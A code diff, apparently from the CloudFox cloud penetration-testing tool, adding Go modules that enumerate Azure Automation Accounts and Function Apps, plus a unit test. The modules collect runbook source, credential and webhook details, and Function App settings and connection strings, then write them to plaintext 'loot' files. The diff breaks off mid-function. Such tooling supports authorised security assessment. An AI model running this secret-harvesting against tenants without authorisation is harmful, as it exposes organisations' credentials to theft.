return fmt.Errorf("please specify either --tenant or --subscription")
|
||||
}
|
||||
|
||||
func runAutomationForSubscription(sub subscriptions.Subscription, outputDirectory string, verbosity int, wrap bool) error {
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating Automation Accounts for subscription %s (%s)", ptr.ToString(sub.DisplayName), ptr.ToString(sub.SubscriptionID)), globals.AZ_AUTOMATION_MODULE_NAME)
|
||||
rows, loot, warnings, err := getAutomationData(sub)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, warning := range warnings {
|
||||
azureLogger.WarnM(warning.Error(), globals.AZ_AUTOMATION_MODULE_NAME)
|
||||
}
|
||||
tenant := populateTenant(ptr.ToString(sub.TenantID))
|
||||
writeAutomationOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), ptr.ToString(sub.DisplayName), ptr.ToString(sub.DisplayName), rows, loot, verbosity, wrap)
|
||||
return nil
|
||||
}
|
||||
|
||||
func getAutomationData(subscription subscriptions.Subscription) ([][]string, automationLoot, []error, error) {
|
||||
subscriptionID := ptr.ToString(subscription.SubscriptionID)
|
||||
accounts, err := getAutomationAccounts(subscriptionID)
|
||||
if err != nil {
|
||||
return nil, automationLoot{}, nil, fmt.Errorf("could not enumerate Automation Accounts for subscription %s: %w", subscriptionID, err)
|
||||
}
|
||||
var rows [][]string
|
||||
var loot automationLoot
|
||||
var warnings []error
|
||||
for _, account := range accounts {
|
||||
name := ptr.ToString(account.Name)
|
||||
rg := resourceGroupFromID(ptr.ToString(account.ID))
|
||||
assets, err := getAutomationAssets(subscriptionID, rg, name)
|
||||
if err != nil {
|
||||
warnings = append(warnings, fmt.Errorf("could not enumerate assets for Automation Account %s: %w", name, err))
|
||||
continue
|
||||
}
|
||||
rows = append(rows, []string{name, ptr.ToString(subscription.DisplayName), subscriptionID, rg, fmt.Sprintf("%d", len(assets.Runbooks)), fmt.Sprintf("%d", len(assets.Credentials)), fmt.Sprintf("%d", len(assets.Webhooks))})
|
||||
if len(assets.Runbooks)+len(assets.Credentials)+len(assets.Webhooks) > 0 {
|
||||
accountLoot := formatAutomationLoot(subscriptionID, name, rg, assets)
|
||||
loot.Runbooks += accountLoot.Runbooks
|
||||
loot.Credentials += accountLoot.Credentials
|
||||
loot.Webhooks += accountLoot.Webhooks
|
||||
}
|
||||
}
|
||||
sort.Slice(rows, func(i, j int) bool { return rows[i][0] < rows[j][0] })
|
||||
return rows, loot, warnings, nil
|
||||
}
|
||||
|
||||
func formatAutomationLoot(subscriptionID, accountName, resourceGroup string, assets automationAssets) automationLoot {
|
||||
var loot automationLoot
|
||||
var runbooks, credentials, webhooks strings.Builder
|
||||
for _, runbook := range assets.Runbooks {
|
||||
name := ptr.ToString(runbook.Name)
|
||||
fmt.Fprintf(&runbooks, "===============================================================\nAutomation Account: %s\nResource Group: %s\nRunbook: %s\n\n%s\n\n", accountName, resourceGroup, name, assets.RunbookSources[name])
|
||||
}
|
||||
for _, credential := range assets.Credentials {
|
||||
name := ptr.ToString(credential.Name)
|
||||
value, _ := json.MarshalIndent(map[string]any{"name": name, "properties": credential.CredentialProperties}, "", " ")
|
||||
fmt.Fprintf(&credentials, "az automation credential show --automation-account-name %q --resource-group %q --name %q --subscription %q\n%s\n\n", accountName, resourceGroup, name, subscriptionID, value)
|
||||
}
|
||||
for _, webhook := range assets.Webhooks {
|
||||
name := ptr.ToString(webhook.Name)
|
||||
value, _ := json.MarshalIndent(map[string]any{"name": name, "properties": webhook.WebhookProperties}, "", " ")
|
||||
fmt.Fprintf(&webhooks, "az automation webhook show --automation-account-name %q --resource-group %q --name %q --subscription %q\n%s\n\n", accountName, resourceGroup, name, subscriptionID, value)
|
||||
}
|
||||
loot.Runbooks = runbooks.String()
|
||||
loot.Credentials = credentials.String()
|
||||
loot.Webhooks = webhooks.String()
|
||||
return loot
|
||||
}
|
||||
|
||||
func writeAutomationOutput(outputDirectory, tenantDomain, directorySuffix, prefix string, rows [][]string, loot automationLoot, verbosity int, wrap bool) {
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: globals.AZ_AUTOMATION_MODULE_NAME,
|
||||
PrefixIdentifier: prefix,
|
||||
Table: internal.TableClient{
|
||||
Wrap: wrap,
|
||||
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix),
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: []string{"Automation Account", "Subscription Name", "Subscription ID", "Resource Group", "Runbooks", "Credentials", "Webhooks"},
|
||||
Body: rows,
|
||||
Name: globals.AZ_AUTOMATION_MODULE_NAME,
|
||||
})
|
||||
o.Loot.DirectoryName = filepath.Join(o.Table.DirectoryName, "loot")
|
||||
if loot.Runbooks != "" {
|
||||
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "automation-runbooks", Contents: loot.Runbooks})
|
||||
}
|
||||
if loot.Credentials != "" {
|
||||
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "automation-credentials", Contents: loot.Credentials})
|
||||
}
|
||||
if loot.Webhooks != "" {
|
||||
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "automation-webhooks", Contents: loot.Webhooks})
|
||||
}
|
||||
if len(o.Loot.LootFiles) > 0 {
|
||||
o.WriteFullOutput(o.Table.TableFiles, o.Loot.LootFiles)
|
||||
} else {
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
func getAutomationAccountsOriginal(subscriptionID string) ([]automation.Account, error) {
|
||||
accountsClient, _, _, _ := internal.GetAutomationClients(subscriptionID)
|
||||
page, err := accountsClient.List(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var accounts []automation.Account
|
||||
for page.NotDone() {
|
||||
accounts = append(accounts, page.Values()...)
|
||||
if err := page.NextWithContext(context.TODO()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return accounts, nil
|
||||
}
|
||||
|
||||
func getAutomationAssetsOriginal(subscriptionID, resourceGroup, accountName string) (automationAssets, error) {
|
||||
_, runbooksClient, credentialsClient, webhooksClient := internal.GetAutomationClients(subscriptionID)
|
||||
var assets automationAssets
|
||||
runbooks, err := runbooksClient.ListByAutomationAccount(context.TODO(), resourceGroup, accountName)
|
||||
if err != nil {
|
||||
return assets, err
|
||||
}
|
||||
for runbooks.NotDone() {
|
||||
assets.Runbooks = append(assets.Runbooks, runbooks.Values()...)
|
||||
if err := runbooks.NextWithContext(context.TODO()); err != nil {
|
||||
return assets, err
|
||||
}
|
||||
}
|
||||
assets.RunbookSources = make(map[string]string, len(assets.Runbooks))
|
||||
for _, runbook := range assets.Runbooks {
|
||||
name := ptr.ToString(runbook.Name)
|
||||
content, contentErr := runbooksClient.GetContent(context.TODO(), resourceGroup, accountName, name)
|
||||
if contentErr != nil {
|
||||
assets.RunbookSources[name] = fmt.Sprintf("[source unavailable: %s]", contentErr)
|
||||
continue
|
||||
}
|
||||
assets.RunbookSources[name] = ptr.ToString(content.Value)
|
||||
}
|
||||
credentials, err := credentialsClient.ListByAutomationAccount(context.TODO(), resourceGroup, accountName)
|
||||
if err != nil {
|
||||
return assets, err
|
||||
}
|
||||
for credentials.NotDone() {
|
||||
assets.Credentials = append(assets.Credentials, credentials.Values()...)
|
||||
if err := credentials.NextWithContext(context.TODO()); err != nil {
|
||||
return assets, err
|
||||
}
|
||||
}
|
||||
webhooks, err := webhooksClient.ListByAutomationAccount(context.TODO(), resourceGroup, accountName, "")
|
||||
if err != nil {
|
||||
return assets, err
|
||||
}
|
||||
for webhooks.NotDone() {
|
||||
assets.Webhooks = append(assets.Webhooks, webhooks.Values()...)
|
||||
if err := webhooks.NextWithContext(context.TODO()); err != nil {
|
||||
return assets, err
|
||||
}
|
||||
}
|
||||
return assets, nil
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/automation/mgmt/automation"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestGetAutomationDataCountsAndLoot(t *testing.T) {
|
||||
originalAccounts, originalAssets := getAutomationAccounts, getAutomationAssets
|
||||
t.Cleanup(func() { getAutomationAccounts, getAutomationAssets = originalAccounts, originalAssets })
|
||||
getAutomationAccounts = func(string) ([]automation.Account, error) {
|
||||
return []automation.Account{{Name: ptr.String("operations"), ID: ptr.String("/subscriptions/sub/resourceGroups/ops/providers/Microsoft.Automation/automationAccounts/operations")}}, nil
|
||||
}
|
||||
getAutomationAssets = func(_, resourceGroup, account string) (automationAssets, error) {
|
||||
if resourceGroup != "ops" || account != "operations" {
|
||||
t.Fatalf("unexpected automation target %s/%s", resourceGroup, account)
|
||||
}
|
||||
return automationAssets{Runbooks: []automation.Runbook{{Name: ptr.String("daily")}, {Name: ptr.String("weekly")}}, RunbookSources: map[string]string{"daily": "Write-Output 'daily'", "weekly": "print('weekly')"}, Credentials: []automation.Credential{{Name: ptr.String("service-account")}}, Webhooks: []automation.Webhook{{Name: ptr.String("deploy")}}}, nil
|
||||
}
|
||||
sub := subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")}
|
||||
rows, loot, warnings, err := getAutomationData(sub)
|
||||
if err != nil || len(warnings) != 0 {
|
||||
t.Fatalf("unexpected errors: err=%v warnings=%v", err, warnings)
|
||||
}
|
||||
if len(rows) != 1 || rows[0][4] != "2" || rows[0][5] != "1" || rows[0][6] != "1" {
|
||||
t.Fatalf("unexpected automation rows: %+v", rows)
|
||||
}
|
||||
if !strings.Contains(loot.Runbooks, "Runbook: daily") || !strings.Contains(loot.Runbooks, "Write-Output 'daily'") {
|
||||
t.Errorf("runbook loot is incomplete: %s", loot.Runbooks)
|
||||
}
|
||||
for _, value := range []string{"az automation credential show", "service-account", `"name": "service-account"`} {
|
||||
if !strings.Contains(loot.Credentials, value) {
|
||||
t.Errorf("credential loot missing %q: %s", value, loot.Credentials)
|
||||
}
|
||||
}
|
||||
for _, value := range []string{"az automation webhook show", "deploy", `"name": "deploy"`} {
|
||||
if !strings.Contains(loot.Webhooks, value) {
|
||||
t.Errorf("webhook loot missing %q: %s", value, loot.Webhooks)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,526 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/web/mgmt/web"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
var (
|
||||
getFunctionApps = getFunctionAppsOriginal
|
||||
getFunctionConfiguration = getFunctionConfigurationOriginal
|
||||
getFunctions = getFunctionsOriginal
|
||||
)
|
||||
|
||||
type functionConfiguration struct {
|
||||
AppSettings map[string]*string
|
||||
ConnectionStrings map[string]*web.ConnStringValueTypePair
|
||||
AuthSettings web.SiteAuthSettingsV2
|
||||
}
|
||||
|
||||
type functionLoot struct {
|
||||
Configuration string
|
||||
TestData string
|
||||
}
|
||||
|
||||
func AzFuncCommand(tenantID, subscription, outputDirectory, version string, verbosity int, wrap, merged bool) error {
|
||||
if tenantID != "" && subscription == "" {
|
||||
tenant := populateTenant(tenantID)
|
||||
if ptr.ToString(tenant.ID) == "" {
|
||||
return fmt.Errorf("could not find Azure tenant %q", tenantID)
|
||||
}
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating Function Apps for tenant %s (%s)", ptr.ToString(tenant.DefaultDomain), ptr.ToString(tenant.ID)), globals.AZ_FUNC_MODULE_NAME)
|
||||
subs := GetSubscriptionsPerTenantID(ptr.ToString(tenant.ID))
|
||||
if !merged {
|
||||
for _, sub := range subs {
|
||||
if err := runFuncForSubscription(sub, outputDirectory, verbosity, wrap); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
var rows [][]string
|
||||
var loot functionLoot
|
||||
for _, sub := range subs {
|
||||
subRows, subLoot, warnings, err := getFunctionData(sub)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rows = append(rows, subRows...)
|
||||
loot.Configuration += subLoot.Configuration
|
||||
loot.TestData += subLoot.TestData
|
||||
for _, warning := range warnings {
|
||||
azureLogger.WarnM(warning.Error(), globals.AZ_FUNC_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
if len(subs) > 0 {
|
||||
writeFunctionOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), "1-tenant-level", ptr.ToString(tenant.DefaultDomain), rows, loot, verbosity, wrap)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if tenantID == "" && subscription != "" {
|
||||
id := ptr.ToString(GetSubscriptionID(subscription))
|
||||
for _, sub := range GetSubscriptions() {
|
||||
if ptr.ToString(sub.SubscriptionID) == id {
|
||||
return runFuncForSubscription(sub, outputDirectory, verbosity, wrap)
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("could not find Azure subscription %q", subscription)
|
||||
}
|
||||
return fmt.Errorf("please specify either --tenant or --subscription")
|
||||
}
|
||||
|
||||
func runFuncForSubscription(sub subscriptions.Subscription, outputDirectory string, verbosity int, wrap bool) error {
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating Function Apps for subscription %s (%s)", ptr.ToString(sub.DisplayName), ptr.ToString(sub.SubscriptionID)), globals.AZ_FUNC_MODULE_NAME)
|
||||
rows, loot, warnings, err := getFunctionData(sub)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, warning := range warnings {
|
||||
azureLogger.WarnM(warning.Error(), globals.AZ_FUNC_MODULE_NAME)
|
||||
}
|
||||
tenant := populateTenant(ptr.ToString(sub.TenantID))
|
||||
writeFunctionOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), ptr.ToString(sub.DisplayName), ptr.ToString(sub.DisplayName), rows, loot, verbosity, wrap)
|
||||
return nil
|
||||
}
|
||||
|
||||
func getFunctionData(subscription subscriptions.Subscription) ([][]string, functionLoot, []error, error) {
|
||||
subscriptionID := ptr.ToString(subscription.SubscriptionID)
|
||||
apps, err := getFunctionApps(subscriptionID)
|
||||
if err != nil {
|
||||
return nil, functionLoot{}, nil, fmt.Errorf("could not enumerate Function Apps for subscription %s: %w", subscriptionID, err)
|
||||
}
|
||||
var rows [][]string
|
||||
var loot functionLoot
|
||||
var warnings []error
|
||||
for _, app := range apps {
|
||||
if !strings.Contains(strings.ToLower(ptr.ToString(app.Kind)), "functionapp") {
|
||||
continue
|
||||
}
|
||||
name := ptr.ToString(app.Name)
|
||||
host := ""
|
||||
if app.SiteProperties != nil {
|
||||
host = ptr.ToString(app.DefaultHostName)
|
||||
}
|
||||
appURL := host
|
||||
if host != "" {
|
||||
appURL = "https://" + host
|
||||
}
|
||||
rg := resourceGroupFromID(ptr.ToString(app.ID))
|
||||
config, err := getFunctionConfiguration(subscriptionID, rg, name)
|
||||
if err != nil {
|
||||
warnings = append(warnings, fmt.Errorf("could not read configuration for Function App %s: %w", name, err))
|
||||
}
|
||||
providers := functionAuthProviders(config.AuthSettings)
|
||||
functions, err := getFunctions(subscriptionID, rg, name)
|
||||
if err != nil {
|
||||
warnings = append(warnings, fmt.Errorf("could not enumerate functions for Function App %s: %w", name, err))
|
||||
rows = append(rows, functionAppFallbackRow(name, subscription, appURL, providers))
|
||||
} else if len(functions) == 0 {
|
||||
rows = append(rows, functionAppFallbackRow(name, subscription, appURL, providers))
|
||||
} else {
|
||||
for _, function := range functions {
|
||||
functionName := lastResourceIDSegment(ptr.ToString(function.Name))
|
||||
trigger := "Unknown"
|
||||
state := "Unknown"
|
||||
if function.FunctionEnvelopeProperties != nil {
|
||||
trigger = functionTrigger(function.Config, ptr.ToString(function.InvokeURLTemplate))
|
||||
state = "Enabled"
|
||||
if ptr.ToBool(function.IsDisabled) {
|
||||
state = "Disabled"
|
||||
}
|
||||
loot.TestData += formatFunctionTestDataLoot(subscriptionID, rg, name, functionName, ptr.ToString(function.TestData))
|
||||
}
|
||||
authMethods := append(functionAuthLevels(function.Config), providers...)
|
||||
if len(authMethods) == 0 {
|
||||
authMethods = []string{"Unknown"}
|
||||
}
|
||||
rows = append(rows, []string{name, functionName, trigger, strings.Join(uniqueStrings(authMethods), ", "), state, ptr.ToString(subscription.DisplayName), subscriptionID})
|
||||
}
|
||||
}
|
||||
loot.Configuration += formatFunctionLoot(name, appURL, config)
|
||||
}
|
||||
sort.Slice(rows, func(i, j int) bool {
|
||||
if rows[i][0] == rows[j][0] {
|
||||
return rows[i][1] < rows[j][1]
|
||||
}
|
||||
return rows[i][0] < rows[j][0]
|
||||
})
|
||||
return rows, loot, warnings, nil
|
||||
}
|
||||
|
||||
func functionAppFallbackRow(name string, subscription subscriptions.Subscription, appURL string, providers []string) []string {
|
||||
authentication := strings.Join(providers, ", ")
|
||||
if authentication == "" {
|
||||
authentication = "Unknown"
|
||||
}
|
||||
trigger := "Unknown"
|
||||
if appURL != "" {
|
||||
trigger = "App URL: " + appURL
|
||||
}
|
||||
return []string{name, "", trigger, authentication, "Unknown", ptr.ToString(subscription.DisplayName), ptr.ToString(subscription.SubscriptionID)}
|
||||
}
|
||||
|
||||
func functionTableHeader() []string {
|
||||
return []string{"Function App", "Function Name", "Trigger", "Authentication", "State", "Subscription Name", "Subscription ID"}
|
||||
}
|
||||
|
||||
func functionVisibleColumns() []string {
|
||||
return []string{"Function App", "Function Name", "Trigger", "Authentication", "State", "Subscription Name"}
|
||||
}
|
||||
|
||||
func formatFunctionLoot(name, appURL string, config functionConfiguration) string {
|
||||
if len(config.AppSettings) == 0 && len(config.ConnectionStrings) == 0 {
|
||||
return ""
|
||||
}
|
||||
var loot strings.Builder
|
||||
fmt.Fprintf(&loot, "===============================================================\nFunction App: %s\nURL: %s\n\n", name, appURL)
|
||||
fmt.Fprintf(&loot, "App Service Authentication: %s\n\n", strings.Join(functionAuthProviders(config.AuthSettings), ", "))
|
||||
loot.WriteString("App Settings:\n")
|
||||
settings := sortedKeys(config.AppSettings)
|
||||
for _, key := range settings {
|
||||
fmt.Fprintf(&loot, "%s=%s\n", key, ptr.ToString(config.AppSettings[key]))
|
||||
}
|
||||
loot.WriteString("\nConnection Strings:\n")
|
||||
connections := make([]string, 0, len(config.ConnectionStrings))
|
||||
for key := range config.ConnectionStrings {
|
||||
connections = append(connections, key)
|
||||
}
|
||||
sort.Strings(connections)
|
||||
for _, key := range connections {
|
||||
value := config.ConnectionStrings[key]
|
||||
if value != nil {
|
||||
fmt.Fprintf(&loot, "%s=%s (type=%s)\n", key, ptr.ToString(value.Value), value.Type)
|
||||
}
|
||||
}
|
||||
loot.WriteString("\n")
|
||||
return loot.String()
|
||||
}
|
||||
|
||||
func functionAuthProviders(settings web.SiteAuthSettingsV2) []string {
|
||||
if settings.SiteAuthSettingsV2Properties == nil || settings.Platform == nil || !ptr.ToBool(settings.Platform.Enabled) {
|
||||
return nil
|
||||
}
|
||||
providers := settings.IdentityProviders
|
||||
if providers == nil {
|
||||
return []string{"App Service Authentication enabled"}
|
||||
}
|
||||
var methods []string
|
||||
if providers.AzureActiveDirectory != nil && ptr.ToBool(providers.AzureActiveDirectory.Enabled) {
|
||||
methods = append(methods, "Entra ID")
|
||||
}
|
||||
if providers.Facebook != nil && ptr.ToBool(providers.Facebook.Enabled) {
|
||||
methods = append(methods, "Facebook")
|
||||
}
|
||||
if providers.GitHub != nil && ptr.ToBool(providers.GitHub.Enabled) {
|
||||
methods = append(methods, "GitHub")
|
||||
}
|
||||
if providers.Google != nil && ptr.ToBool(providers.Google.Enabled) {
|
||||
methods = append(methods, "Google")
|
||||
}
|
||||
if providers.LegacyMicrosoftAccount != nil && ptr.ToBool(providers.LegacyMicrosoftAccount.Enabled) {
|
||||
methods = append(methods, "Microsoft Account")
|
||||
}
|
||||
if providers.Twitter != nil && ptr.ToBool(providers.Twitter.Enabled) {
|
||||
methods = append(methods, "Twitter")
|
||||
}
|
||||
if providers.Apple != nil && ptr.ToBool(providers.Apple.Enabled) {
|
||||
methods = append(methods, "Apple")
|
||||
}
|
||||
if providers.AzureStaticWebApps != nil && ptr.ToBool(providers.AzureStaticWebApps.Enabled) {
|
||||
methods = append(methods, "Azure Static Web Apps")
|
||||
}
|
||||
for name, provider := range providers.CustomOpenIDConnectProviders {
|
||||
if provider != nil && ptr.ToBool(provider.Enabled) {
|
||||
methods = append(methods, "OpenID Connect: "+name)
|
||||
}
|
||||
}
|
||||
sort.Strings(methods)
|
||||
return methods
|
||||
}
|
||||
|
||||
func functionAuthLevels(config any) []string {
|
||||
encoded, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var value any
|
||||
if json.Unmarshal(encoded, &value) != nil {
|
||||
return nil
|
||||
}
|
||||
var levels []string
|
||||
var visit func(any)
|
||||
visit = func(current any) {
|
||||
switch typed := current.(type) {
|
||||
case map[string]any:
|
||||
for key, child := range typed {
|
||||
if strings.EqualFold(key, "authLevel") {
|
||||
if level, ok := child.(string); ok {
|
||||
levels = append(levels, formatFunctionAuthLevel(level))
|
||||
}
|
||||
} else {
|
||||
visit(child)
|
||||
}
|
||||
}
|
||||
case []any:
|
||||
for _, child := range typed {
|
||||
visit(child)
|
||||
}
|
||||
}
|
||||
}
|
||||
visit(value)
|
||||
return uniqueStrings(levels)
|
||||
}
|
||||
|
||||
func functionTrigger(config any, invokeURL string) string {
|
||||
encoded, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
return "Unknown"
|
||||
}
|
||||
var value any
|
||||
if json.Unmarshal(encoded, &value) != nil {
|
||||
return "Unknown"
|
||||
}
|
||||
result := ""
|
||||
var visit func(any)
|
||||
visit = func(current any) {
|
||||
if result != "" {
|
||||
return
|
||||
}
|
||||
switch typed := current.(type) {
|
||||
case map[string]any:
|
||||
bindingType := mapStringValue(typed, "type")
|
||||
if strings.HasSuffix(strings.ToLower(bindingType), "trigger") {
|
||||
label := functionTriggerLabel(bindingType)
|
||||
detail := functionTriggerDetail(bindingType, typed, invokeURL)
|
||||
result = label
|
||||
if detail != "" {
|
||||
result += ": " + detail
|
||||
}
|
||||
return
|
||||
}
|
||||
for _, child := range typed {
|
||||
visit(child)
|
||||
}
|
||||
case []any:
|
||||
for _, child := range typed {
|
||||
visit(child)
|
||||
}
|
||||
}
|
||||
}
|
||||
visit(value)
|
||||
if result == "" {
|
||||
return "Unknown"
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func functionTriggerLabel(bindingType string) string {
|
||||
switch strings.ToLower(bindingType) {
|
||||
case "httptrigger":
|
||||
return "HTTP"
|
||||
case "timertrigger":
|
||||
return "Time Trigger"
|
||||
case "blobtrigger":
|
||||
return "Blob Trigger"
|
||||
case "queuetrigger":
|
||||
return "Queue Trigger"
|
||||
case "servicebustrigger":
|
||||
return "Service Bus Trigger"
|
||||
case "eventhubtrigger":
|
||||
return "Event Hub Trigger"
|
||||
case "eventgridtrigger":
|
||||
return "Event Grid Trigger"
|
||||
case "cosmosdbtrigger":
|
||||
return "Cosmos DB Trigger"
|
||||
case "kafkatrigger":
|
||||
return "Kafka Trigger"
|
||||
default:
|
||||
name := strings.TrimSuffix(bindingType, "Trigger")
|
||||
return name + " Trigger"
|
||||
}
|
||||
}
|
||||
|
||||
func functionTriggerDetail(bindingType string, binding map[string]any, invokeURL string) string {
|
||||
switch strings.ToLower(bindingType) {
|
||||
case "httptrigger":
|
||||
return invokeURL
|
||||
case "timertrigger":
|
||||
return mapStringValue(binding, "schedule")
|
||||
case "blobtrigger":
|
||||
return mapStringValue(binding, "path")
|
||||
case "queuetrigger":
|
||||
return mapStringValue(binding, "queueName")
|
||||
case "servicebustrigger":
|
||||
return firstNonEmpty(mapStringValue(binding, "queueName"), mapStringValue(binding, "topicName"))
|
||||
case "eventhubtrigger":
|
||||
return mapStringValue(binding, "eventHubName")
|
||||
case "cosmosdbtrigger":
|
||||
database := mapStringValue(binding, "databaseName")
|
||||
container := firstNonEmpty(mapStringValue(binding, "containerName"), mapStringValue(binding, "collectionName"))
|
||||
return strings.Trim(strings.Join([]string{database, container}, "/"), "/")
|
||||
case "kafkatrigger":
|
||||
return firstNonEmpty(mapStringValue(binding, "topic"), mapStringValue(binding, "brokerList"))
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func mapStringValue(values map[string]any, name string) string {
|
||||
for key, value := range values {
|
||||
if strings.EqualFold(key, name) {
|
||||
if text, ok := value.(string); ok {
|
||||
return text
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func firstNonEmpty(values ...string) string {
|
||||
for _, value := range values {
|
||||
if value != "" {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func formatFunctionTestDataLoot(subscriptionID, resourceGroup, appName, functionName, testData string) string {
|
||||
if testData == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("az functionapp function show --name %q --resource-group %q --function-name %q --subscription %q --query testData --output tsv\n%s\n\n", appName, resourceGroup, functionName, subscriptionID, testData)
|
||||
}
|
||||
|
||||
func formatFunctionAuthLevel(level string) string {
|
||||
switch strings.ToLower(level) {
|
||||
case "anonymous":
|
||||
return "Anonymous"
|
||||
case "function":
|
||||
return "Function key"
|
||||
case "admin":
|
||||
return "Admin/master key"
|
||||
default:
|
||||
return level
|
||||
}
|
||||
}
|
||||
|
||||
func uniqueStrings(values []string) []string {
|
||||
seen := map[string]bool{}
|
||||
var result []string
|
||||
for _, value := range values {
|
||||
if value != "" && !seen[value] {
|
||||
seen[value] = true
|
||||
result = append(result, value)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func sortedKeys(values map[string]*string) []string {
|
||||
keys := make([]string, 0, len(values))
|
||||
for key := range values {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
return keys
|
||||
}
|
||||
|
||||
func getFunctionAppsOriginal(subscriptionID string) ([]web.Site, error) {
|
||||
client := internal.GetWebAppsClient(subscriptionID)
|
||||
page, err := client.List(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var apps []web.Site
|
||||
for page.NotDone() {
|
||||
apps = append(apps, page.Values()...)
|
||||
if err := page.NextWithContext(context.TODO()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return apps, nil
|
||||
}
|
||||
|
||||
func getFunctionConfigurationOriginal(subscriptionID, resourceGroup, name string) (functionConfiguration, error) {
|
||||
client := internal.GetWebAppsClient(subscriptionID)
|
||||
var config functionConfiguration
|
||||
settings, err := client.ListApplicationSettings(context.TODO(), resourceGroup, name)
|
||||
if err != nil {
|
||||
return config, err
|
||||
}
|
||||
config.AppSettings = settings.Properties
|
||||
connections, err := client.ListConnectionStrings(context.TODO(), resourceGroup, name)
|
||||
if err != nil {
|
||||
return config, err
|
||||
}
|
||||
config.ConnectionStrings = connections.Properties
|
||||
authSettings, err := client.GetAuthSettingsV2WithoutSecrets(context.TODO(), resourceGroup, name)
|
||||
if err != nil {
|
||||
return config, err
|
||||
}
|
||||
config.AuthSettings = authSettings
|
||||
return config, nil
|
||||
}
|
||||
|
||||
func getFunctionsOriginal(subscriptionID, resourceGroup, appName string) ([]web.FunctionEnvelope, error) {
|
||||
client := internal.GetWebAppsClient(subscriptionID)
|
||||
page, err := client.ListFunctions(context.TODO(), resourceGroup, appName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var functions []web.FunctionEnvelope
|
||||
for page.NotDone() {
|
||||
functions = append(functions, page.Values()...)
|
||||
if err := page.NextWithContext(context.TODO()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return functions, nil
|
||||
}
|
||||
|
||||
func resourceGroupFromID(id string) string {
|
||||
parts := strings.Split(strings.Trim(id, "/"), "/")
|
||||
for i := 0; i+1 < len(parts); i++ {
|
||||
if strings.EqualFold(parts[i], "resourceGroups") {
|
||||
return parts[i+1]
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func writeFunctionOutput(outputDirectory, tenantDomain, directorySuffix, prefix string, rows [][]string, loot functionLoot, verbosity int, wrap bool) {
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: globals.AZ_FUNC_MODULE_NAME,
|
||||
PrefixIdentifier: prefix,
|
||||
Table: internal.TableClient{
|
||||
Wrap: wrap,
|
||||
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix),
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{Header: functionTableHeader(), Body: rows, Name: globals.AZ_FUNC_MODULE_NAME, TableCols: functionVisibleColumns()})
|
||||
o.Loot.DirectoryName = filepath.Join(o.Table.DirectoryName, "loot")
|
||||
if loot.Configuration != "" {
|
||||
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "function-app-configuration", Contents: loot.Configuration})
|
||||
}
|
